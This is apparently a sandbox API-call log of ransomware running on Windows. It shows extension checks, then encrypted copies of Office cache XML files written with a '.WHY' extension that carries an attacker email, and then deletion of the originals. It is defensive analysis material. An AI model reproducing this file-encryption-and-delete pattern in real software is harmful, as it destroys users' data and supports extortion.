[0062.258] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.259] lstrlenW (lpString=".zip") returned 4 [0062.259] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.259] lstrlenW (lpString=".rar") returned 4 [0062.259] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.259] lstrlenW (lpString=".bz2") returned 4 [0062.259] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.259] lstrlenW (lpString=".7z") returned 3 [0062.259] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.259] lstrlenW (lpString=".dbf") returned 4 [0062.259] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.259] lstrlenW (lpString=".1cd") returned 4 [0062.259] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.260] lstrlenW (lpString=".jpg") returned 4 [0062.260] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.260] lstrlenW (lpString=".doc") returned 4 [0062.260] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.260] lstrlenW (lpString=".docx") returned 5 [0062.260] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0062.260] lstrlenW (lpString=".pdf") returned 4 [0062.260] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.260] lstrlenW (lpString=".xls") returned 4 [0062.261] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.261] lstrlenW (lpString=".xlsx") returned 5 [0062.261] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0062.261] lstrlenW (lpString=".ppt") returned 4 [0062.261] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.261] lstrlenW (lpString=".zip") returned 4 [0062.261] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.261] lstrlenW (lpString=".rar") returned 4 [0062.261] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.261] lstrlenW (lpString=".bz2") returned 4 [0062.261] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.261] lstrlenW (lpString=".7z") returned 3 [0062.261] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.262] lstrlenW (lpString=".dbf") returned 4 [0062.262] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.262] lstrlenW (lpString=".1cd") returned 4 [0062.262] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0062.262] lstrlenW (lpString=".jpg") returned 4 [0062.262] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.263] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0062.263] lstrlenW (lpString="Setup.xml") returned 9 [0062.263] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.522] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=6241) returned 1 [0062.522] CloseHandle (hObject=0x1a0) returned 1 [0062.522] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.523] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0062.523] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0062.523] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.523] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.523] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.572] GetLastError () returned 0x0 [0062.572] ReadFile (in: hFile=0x1a0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x1861, lpOverlapped=0x0) returned 1 [0062.577] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1870, lpOverlapped=0x0) returned 1 [0062.580] ReadFile (in: hFile=0x1a0, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.580] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.580] SetEndOfFile (hFile=0x1f4) returned 1 [0062.580] CloseHandle (hObject=0x1f4) returned 1 [0062.586] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.586] SetEndOfFile (hFile=0x1a0) returned 1 [0062.589] CloseHandle (hObject=0x1a0) returned 1 [0062.589] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0063.446] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0063.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.715] lstrlenW (lpString=".doc") returned 4 [0063.715] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.715] lstrlenW (lpString=".docx") returned 5 [0063.716] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.716] lstrlenW (lpString=".pdf") returned 4 [0063.716] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.716] lstrlenW (lpString=".xls") returned 4 [0063.716] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.716] lstrlenW (lpString=".xlsx") returned 5 [0063.716] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.716] lstrlenW (lpString=".ppt") returned 4 [0063.716] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.716] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.716] lstrlenW (lpString=".zip") returned 4 [0063.716] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.716] lstrlenW (lpString=".rar") returned 4 [0063.716] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.717] lstrlenW (lpString=".bz2") returned 4 [0063.717] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.717] lstrlenW (lpString=".7z") returned 3 [0063.717] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.717] lstrlenW (lpString=".dbf") returned 4 [0063.717] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.717] lstrlenW (lpString=".1cd") returned 4 [0063.717] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.717] lstrlenW (lpString=".jpg") returned 4 [0063.717] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.718] lstrlenW (lpString=".doc") returned 4 [0063.718] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.718] lstrlenW (lpString=".docx") returned 5 [0063.718] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.718] lstrlenW (lpString=".pdf") returned 4 [0063.718] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.718] lstrlenW (lpString=".xls") returned 4 [0063.718] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.718] lstrlenW (lpString=".xlsx") returned 5 [0063.718] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.719] lstrlenW (lpString=".ppt") returned 4 [0063.719] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.719] lstrlenW (lpString=".zip") returned 4 [0063.719] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.719] lstrlenW (lpString=".rar") returned 4 [0063.719] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.719] lstrlenW (lpString=".bz2") returned 4 [0063.719] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.719] lstrlenW (lpString=".7z") returned 3 [0063.719] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.719] lstrlenW (lpString=".dbf") returned 4 [0063.719] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.720] lstrlenW (lpString=".1cd") returned 4 [0063.720] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.720] lstrlenW (lpString=".jpg") returned 4 [0063.720] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.720] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0063.720] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0063.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0063.999] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=913) returned 1 [0064.000] CloseHandle (hObject=0x1e4) returned 1 [0064.000] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0064.000] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0064.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0064.000] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.001] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.001] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0064.306] GetLastError () returned 0x0 [0064.306] ReadFile (in: hFile=0x1e4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x391, lpOverlapped=0x0) returned 1 [0064.311] WriteFile (in: hFile=0x1a0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0064.314] ReadFile (in: hFile=0x1e4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0064.314] WriteFile (in: hFile=0x1a0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xee, lpOverlapped=0x0) returned 1 [0064.314] SetEndOfFile (hFile=0x1a0) returned 1 [0064.314] CloseHandle (hObject=0x1a0) returned 1 [0064.318] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.318] SetEndOfFile (hFile=0x1e4) returned 1 [0064.320] CloseHandle (hObject=0x1e4) returned 1 [0064.320] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0064.321] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 1 [0064.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.324] lstrlenW (lpString=".doc") returned 4 [0064.324] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.324] lstrlenW (lpString=".docx") returned 5 [0064.324] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.324] lstrlenW (lpString=".pdf") returned 4 [0064.324] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.325] lstrlenW (lpString=".xls") returned 4 [0064.325] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.325] lstrlenW (lpString=".xlsx") returned 5 [0064.325] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.325] lstrlenW (lpString=".ppt") returned 4 [0064.325] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.325] lstrlenW (lpString=".zip") returned 4 [0064.325] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.325] lstrlenW (lpString=".rar") returned 4 [0064.325] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.325] lstrlenW (lpString=".bz2") returned 4 [0064.325] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.325] lstrlenW (lpString=".7z") returned 3 [0064.325] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.326] lstrlenW (lpString=".dbf") returned 4 [0064.326] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.326] lstrlenW (lpString=".1cd") returned 4 [0064.326] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.326] lstrlenW (lpString=".jpg") returned 4 [0064.326] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.326] lstrlenW (lpString=".doc") returned 4 [0064.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.327] lstrlenW (lpString=".docx") returned 5 [0064.327] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0064.327] lstrlenW (lpString=".pdf") returned 4 [0064.327] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.327] lstrlenW (lpString=".xls") returned 4 [0064.327] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.327] lstrlenW (lpString=".xlsx") returned 5 [0064.327] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0064.327] lstrlenW (lpString=".ppt") returned 4 [0064.327] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.327] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.327] lstrlenW (lpString=".zip") returned 4 [0064.327] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.327] lstrlenW (lpString=".rar") returned 4 [0064.328] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.328] lstrlenW (lpString=".bz2") returned 4 [0064.328] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.328] lstrlenW (lpString=".7z") returned 3 [0064.328] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.328] lstrlenW (lpString=".dbf") returned 4 [0064.328] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.328] lstrlenW (lpString=".1cd") returned 4 [0064.328] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml") returned 76 [0064.328] lstrlenW (lpString=".jpg") returned 4 [0064.329] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.329] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0064.329] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0064.329] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0064.330] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=819) returned 1 [0064.330] CloseHandle (hObject=0x1e4) returned 1 [0064.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0064.330] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0064.331] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0064.331] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.331] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.331] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0064.332] GetLastError () returned 0x0 [0064.332] ReadFile (in: hFile=0x1e4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x333, lpOverlapped=0x0) returned 1 [0065.220] WriteFile (in: hFile=0x1a0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x340, lpOverlapped=0x0) returned 1 [0065.223] ReadFile (in: hFile=0x1e4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0065.224] WriteFile (in: hFile=0x1a0, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0065.224] SetEndOfFile (hFile=0x1a0) returned 1 [0065.225] CloseHandle (hObject=0x1a0) returned 1 [0065.238] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0065.238] SetEndOfFile (hFile=0x1e4) returned 1 [0065.241] CloseHandle (hObject=0x1e4) returned 1 [0065.241] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x2020) returned 1 [0065.242] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0065.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0065.243] lstrlenW (lpString="C:\\MSOCache\\All 